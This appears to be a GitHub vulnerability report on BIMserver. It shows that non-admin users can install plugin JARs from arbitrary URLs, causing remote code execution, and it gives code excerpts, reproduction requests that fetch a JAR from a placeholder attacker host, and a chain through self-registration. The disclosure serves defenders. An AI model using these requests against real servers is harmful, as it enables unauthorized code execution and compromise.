Skip to content

I found a critical security vulnerablities in the code base #1390

Description

@nam0netime

[C1] Non-admin users can install arbitrary plugin JARs, leading to JVM remote code execution

Describe the bug

PluginInterface.installPluginBundleFromUrl allows any authenticated, non-anonymous user to make BIMserver download and install a plugin JAR from an attacker-controlled URL. The endpoint calls requireRealUserAuthentication(), but this check only rejects missing, anonymous, and explicit-rights authorization objects. It does not require an administrator role.

The vulnerable authorization and download path is implemented in PluginServiceImpl.installPluginBundleFromUrl:

public void installPluginBundleFromUrl(String url, Boolean installAllPluginsForAllUsers, Boolean installAllPluginsForNewUsers)
        throws UserException, ServerException {
    requireRealUserAuthentication();
    DatabaseSession session = getBimServer().getDatabase().createSession(OperationType.POSSIBLY_WRITE);
    try {
        byte[] data = NetUtils.getContentAsBytes(new URL(url), 5000);
        session.executeAndCommitAction(
            new InstallPluginBundleFromBytes(
                session,
                getInternalAccessMethod(),
                getBimServer(),
                data,
                installAllPluginsForAllUsers,
                installAllPluginsForNewUsers
            )
        );
    } catch (Exception e) {
        handleException(e);
    } finally {
        session.close();
    }
}

The authorization helper in GenericServiceImpl permits an ordinary UserAuthorization:

protected void requireRealUserAuthentication() throws UserException {
    requireRunningServer();
    if (serviceMap.getAuthorization() == null) {
        throw new UserException("Authentication required for this call");
    }
    if (serviceMap.getAuthorization() instanceof ExplicitRightsAuthorization) {
        throw new UserException("Real authentication required (this session has token authentication)");
    }
    if (serviceMap.getAuthorization() instanceof AnonymousAuthorization) {
        throw new UserException("Anonymous has no rights for this call");
    }
}

After downloading the JAR, executeAndCommitAction() invokes InstallPluginBundleFromBytes.execute() directly. The downstream installer:

  1. Parses plugin/plugin.xml and the embedded Maven POM.
  2. Copies the JAR into the BIMserver plugin directory.
  3. Creates a class loader for the JAR.
  4. Loads the implementation class declared in plugin.xml.
  5. Instantiates the class and invokes its plugin initialization method.

The decisive class-loading operations are in PluginBundleManager:

Class implementationClass = classLoader.loadClass(implementationClassName);
Plugin plugin = (Plugin) implementationClass.newInstance();

Consequently, static initializers, constructors, and plugin.init() methods from an attacker-supplied JAR execute inside the BIMserver JVM with the operating-system privileges of the BIMserver/Tomcat process.

To Reproduce

Only test this against an authorized BIMserver deployment. Use a benign plugin whose initialization code writes a marker file rather than executing a system command.

  1. Host a valid BIMserver plugin JAR on an HTTP server reachable from the target. The JAR must contain:

    plugin/plugin.xml
    META-INF/maven/<groupId>/<artifactId>/pom.xml
    <implementation class declared by plugin.xml>
    
  2. Log in using an ordinary USER account, not an administrator:

    POST /bimserver-audit/json HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Type: application/json
    
    {
      "request": {
        "interface": "AuthInterface",
        "method": "login",
        "parameters": {
          "username": "normal-user@example.test",
          "password": "UserPassword1!"
        }
      }
    }

    Save the value returned in response.result as USER_TOKEN.

  3. Using that non-admin token, request installation of the controlled JAR:

    POST /bimserver-audit/json HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Type: application/json
    
    {
      "token": "USER_TOKEN",
      "request": {
        "interface": "PluginInterface",
        "method": "installPluginBundleFromUrl",
        "parameters": {
          "url": "http://ATTACKER_HOST:19193/marker-plugin.jar",
          "installAllPluginsForAllUsers": false,
          "installAllPluginsForNewUsers": false
        }
      }
    }
  4. Observe that:

    • BIMserver connects to ATTACKER_HOST:19193 and downloads the JAR.
    • The JAR is copied to <BIMSERVER_HOME>/plugins/.
    • The implementation class declared in plugin/plugin.xml is loaded and instantiated.
    • The benign marker created by the plugin's static initializer, constructor, or init() method appears on the server.

On a default exploded WAR deployment where no custom homedir is configured, the plugin is normally stored under:

<Tomcat webapps>/<WAR context>/WEB-INF/plugins/

The stored filename is derived from attacker-controlled Maven metadata:

<groupId>.<artifactId>-<version>.jar

Expected behavior

Plugin installation is a server-administration operation and should be restricted to authenticated administrators or a trusted internal service identity. A normal USER account should receive an authorization error and the server should not:

  • Fetch the supplied URL.
  • Write the supplied JAR into the plugin directory.
  • Load or initialize any class from the JAR.

Remote plugin bundles should additionally be accepted only from explicitly trusted repositories and should be verified before loading.

Additional context

  • Severity: Critical
  • Vulnerability classes: Improper Authorization, Server-Side Request Forgery, and Code Injection
  • Relevant CWEs: CWE-862, CWE-918, CWE-94
  • Authentication required by the vulnerable endpoint: Any ordinary authenticated user
  • Administrator privileges required: No

The root cause is a mismatch between the sensitivity of plugin installation and the authorization check applied to it. requireRealUserAuthentication() proves only that the caller is not anonymous; it does not prove that the caller is authorized to modify the server's executable plugin set. There is no downstream administrator check in InstallPluginBundleFromBytes or PluginBundleManager.install().

The database action wrapper is not a security boundary. DatabaseSession.executeAndCommitAction invokes the action before attempting a database commit:

T result = action.execute();
if ((objectsToCommit != null && objectsToCommit.size() > 0)
        || (objectsToDelete != null && objectsToDelete.size() > 0)) {
    commit(progressHandler);
}
return result;

Therefore, filesystem and JVM side effects occur during action.execute() and cannot be rolled back by the database transaction. Even if plugin initialization later throws an exception and the JAR is deleted, code in a static initializer or constructor may already have executed.

During authorized dynamic testing, a request made with a non-admin USER token caused BIMserver to perform the expected outbound HTTP request, confirming both the authorization weakness and the attacker-controlled server-side fetch. The recorded Stage B attempt used a malformed embedded ZIP and therefore did not create its execution marker. Separately, a valid benign verification plugin was installed and loaded by the same plugin mechanism. The source path from downloaded bytes to loadClass(), newInstance(), and plugin.init() confirms the code-execution consequence for a correctly formed plugin JAR.

This issue can also be chained with any account-creation or credential-compromise weakness. In the audited version, the anonymous addUserWithPassword(..., selfRegistration=true) issue can create a normal user account, after which the attacker can log in and reach this endpoint, converting the authenticated RCE into an unauthenticated attack chain.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions